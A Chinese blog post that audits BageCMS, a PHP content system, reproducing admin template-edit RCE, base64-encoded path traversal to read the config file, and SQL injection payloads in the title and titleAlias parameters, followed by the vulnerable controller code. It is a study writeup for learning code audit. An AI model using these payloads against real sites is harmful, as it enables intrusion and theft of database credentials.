首页 > 编程语言 >php代码审计学习----八哥cms代码审计

php代码审计学习----八哥cms代码审计

时间:2023-10-27 21:56:08浏览次数:39  
标签:审计 index title admini 代码 titleAlias filename ---- php

php代码审计学习----八哥cms代码审计

源码

https://github.com/Betsy0/CMSVulSource/tree/main/bagecms

环境搭建

打开php.ini
全局搜索soap
将extension前的;删掉
创建一个名为bagecms的数据库

create database bagecms;

输入网址/index.php?r=install
完成安装
然后再输入/index.php?r=admini

漏洞复现

1.模板渲染实现RCE
登录进后台

编辑question目录下的index.php


2.任意文件读取
点击提交,抓包

filename进行base64加密

?r=admini/Template/Update&filename=Li4vLi4vLi4vcHJvdGVjdGVkL2NvbmZpZy9tYWluLnBocA==


3.SQL注入

?r=admini/post/index&catalogId=&title=fafadf&titleAlias=fad') or 1=1%23&searchsubmit=查询
?r=admini/post/index&catalogId=&title=fafadf&titleAlias=fad') or 1=2%23&searchsubmit=查询

或者

?r=admini/post/index&titleAlias=fad') or 1=1%23
?r=admini/post/index&titleAlias=fad') or 1=2%23
?r=admini/post/index&title=fad') or 1=1%23
?r=admini/post/index&title=fad') or 1=2%23


代码审计

命令执行代码审计

1.因为是在模板编辑处实现了RCE,所以搜索"模板"

2.定位到编辑这里

/**
     * 编辑
     *
     * @param $id
     */
    public function actionUpdate( $filename ) {
        parent::_acl();
        $filename = trim( $this->_gets->getParam( 'filename' ) );
        $content = trim( $this->_gets->getParam( 'content' ) );
        if ( isset( $_POST['content'] ) ) {
            $fileputcontent = file_put_contents(  $this->_themePath.DS.'views'.DS.XUtils::b64decode( $filename ), $content );
            if ( $fileputcontent == true ) {
                parent::_adminiLogger( array( 'catalog'=>'update', 'intro'=>'编辑模板' ) );
                $this->redirect( array ( 'index' ) );
            }
        }
        $data['filename'] = XUtils::b64decode( $filename );
        $data['content'] = htmlspecialchars( file_get_contents(  $this->_themePath.DS.'views'.DS.XUtils::b64decode( $filename ) ) );
        $this->render( 'update', $data );

    }


在后台编辑模板后发现直接在修改了源码(/themes/default/views/question/index.php)

2.任意文件读取
还是刚才那处
filename路径进行base64加密,所以可以进行目录遍历读取配置文件
现在考虑?r=admini/template/update是怎么构造出来的
3.SQL注入
可以全局搜索一些常见的SQL语句成分,比如SELECT,LIKE等

    public function actionIndex ()
    {
        parent::_acl();
        $model = new Page();
        $criteria = new CDbCriteria();
        $condition = '1';
        $title = $this->_gets->getParam('title');
        $titleAlias = $this->_gets->getParam('titleAlias');
        $title && $condition .= ' AND title LIKE \'%' . $title . '%\'';
        $titleAlias && $condition .= ' AND title_alias LIKE \'%' . $titleAlias . '%\'';
        $criteria->condition = $condition;
        $criteria->order = 't.id DESC';
        $count = $model->count($criteria);
        $pages = new CPagination($count);
        $pages->pageSize = 13;
        $pageParams = XUtils::buildCondition($_GET, array ('page_name_alias' , 'page_name' ));
        $pages->params = is_array($pageParams) ? $pageParams : array ();
        $criteria->limit = $pages->pageSize;
        $criteria->offset = $pages->currentPage * $pages->pageSize;
        $result = $model->findAll($criteria);
        $this->render('index', array ('datalist' => $result , 'pagebar' => $pages ));
    }

index.php

$(document).ready(function(){
	$("#title").val('<?php echo Yii::app()->request->getParam('title')?>');
	$("#titleAlias").val('<?php echo Yii::app()->request->getParam('titleAlias')?>');
	$("#catalogId").val('<?php echo Yii::app()->request->getParam('catalogId')?>');

没有任何过滤
可以插入') or 1=1%23
至于url可以为,title可以换为titleAlias

r=admini/post/index&title=fad') or 1=1%23

标签:审计,index,title,admini,代码,titleAlias,filename,----,php
From: https://www.cnblogs.com/thebeastofwar/p/17793203.html

相关文章

  • P7650 题解
    非常好题目,第一步都想不出来。可以观察出来最优方案必定是从大往小将\(x\)放到\(x+1\)前,有可能不动,中间的比他小的一定要放到前面去。考虑用dp计算最小值。这里是这道题最重要的一步:相对位置的变化非常不好描述,考虑将所有数固定。一次操作改为:不影响其他其他数的位置,将一......
  • c# winfom从0学习开发OA、BPM工作流程与自定义表单系统(十三)新建工作
     1,新建一个工作 2,填写表单 3,当时表单设置的可写字段,在这里就体现出来了,这里设置的第一个节点开始是字段全部可写的,其他节点只能看不能写 4,转交下一步工作,也就是我们流程图连线箭头指向的节点 5,确定转交下一步工作 6,需要登录张三的账号,去代办工作里查看有没有需......
  • 题解 P4285 [SHOI2008] 汉诺塔
    具体思路设\(f_{i,x}\)表示\(i\)个盘子从\(x\)柱子出发的步数。设\(g_{i,x}\)表示\(i\)个盘子从\(x\)柱子出发到哪个柱子。记\(y=g_{i-1,x}\),\(z=6-x-y\)。其中,\(y\)代表将前\(i-1\)个盘子从\(x\)柱子移到的柱子,\(z\)代表剩下的那个柱子。分类讨论。若......
  • 测试基础一
    1.软件测试的定义使用人工和自动手段来运行或测试某个系统的过程,其目的在于检验它是否满足规定的需求或弄清预期结果与实际结果之间的差别.2.软件测试的目的软件测试是为了发现程序存在的代码或业务逻辑错误软件测试是为了检验产品是否符合用户需求软件测试是为了提高用的体......
  • Python 中多态性的示例和类的继承多态性
    单词"多态"意味着"多种形式",在编程中,它指的是具有相同名称的方法/函数/操作符,可以在许多不同的对象或类上执行。函数多态性一个示例是Python中的len()函数,它可以用于不同的对象。字符串对于字符串,len()返回字符的数量:示例x="HelloWorld!"print(len(x))元组......
  • Python根据列表在指定目录寻找对应前缀的文件
    现在有一个txt列表,里面包含的是一些文件名,如a,b等等,现在需求是在一个多级文件夹下,需要寻找以a为名字的任何格式文件,如a.001,a.002等等,寻找这个txt列表里包含的文件名的对应文件,复制到指定文件夹下importosimportshutil#读取文件名列表withopen('msg.txt','r')asfile:......
  • 广义表的原理(没有代码实现)
    广义表是线性表的推广,又称列表。线性表的元素只限于原子项,即每个数据元素只能是一个数或一个记录,如果放松对线性表元素的这种限制,允许他们自身具有结构,那么就产生了广义表。广义表是一种多层次的线性结构,像是一颗倒扣的树,实际上,这也算是一种树形结构。广义表不仅是线性表的推广,也......
  • BLOXORZ
    1关密码:780464→↓↓→→↓→2关密码:290299↑→↓→→→→↑↑↓↓→→→→↑←↑3关密码:918660→↑→→→↑→↓←↑↑→↓←←↑→→→→↓↓↓→↑4关密码:520967↑←↑→→↑→→→→→→↓→↓↓↓↓↓→↑←←←←←←↓5关密码:028431......
  • 计算机扫盲常识
    图片jpeg(jpg)支持的颜色比较丰富不支持透明效果,不支持动图一般用来显示图片gif支持的颜色比较少,支持简单透明,支持动图颜色单一的图片,动图png支持的颜色丰富,支持简单透明,不支持动图颜色丰富,复杂透明图片(转为网页为生)webp谷歌推出的专门用来表示网页中的图片的一种格式它......
  • 20231027NOIP训练赛
    20231027NOIP训练赛时间安排7:40-9:20写T19:20-10:20写T210:20-11:10写T3T411:10-11:50写T5总结T1写挂了,T3的set超时了题解T1简单DP题T2把加转化为差分,差分数组进行区间加操作,用线段树维护T3用一个栈维护一下没有被匹配的字符即可T4结论题,答案要么删掉一个点,要......